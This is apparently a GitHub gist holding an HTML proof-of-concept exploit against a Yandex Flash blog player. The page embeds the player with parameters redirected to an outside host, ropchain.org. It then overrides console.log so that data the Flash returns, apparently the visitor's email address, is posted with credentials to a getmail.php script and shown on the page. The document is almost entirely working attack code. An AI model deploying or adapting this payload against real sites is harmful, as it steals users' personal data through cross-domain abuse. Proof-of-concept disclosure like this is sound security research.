Skip to content

Instantly share code, notes, and snippets.

@ZoczuS
Created May 22, 2014 09:50
Show Gist options
  • Save ZoczuS/c8abb829237cb178d364 to your computer and use it in GitHub Desktop.
Save ZoczuS/c8abb829237cb178d364 to your computer and use it in GitHub Desktop.
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
</head>
<body>
<script>
console.log=function(a){
if(a == "Start") {
// start ;-)
}
else {
var x = new XMLHttpRequest();
var str = "mail=" + a;
x.open("POST","getmail.php", true)
x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
x.withCredentials = "true";
x.onreadystatechange = function() {
if (x.readyState == 4) {
if (x.status == 200) {
document.getElementById("content").innerHTML = unescape(x.responseText);
}}
}
x.send(str);
}
}
</script>
<br><center>
<object data="https://kraski-static.yandex.net/kraski-universal-blogplayer-loader.swf?baseUrl=http://kraski.yandex.ru&servantUrl=http://ropchain.org/poc/yandex&uploadUrl=http://ropchain.org/poc/yandex/&cardHash=flower018.jpg.2" width="500" height="600" allowscriptaccess="always">
</object>
</center>
<div id="content"></div>
</body></html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment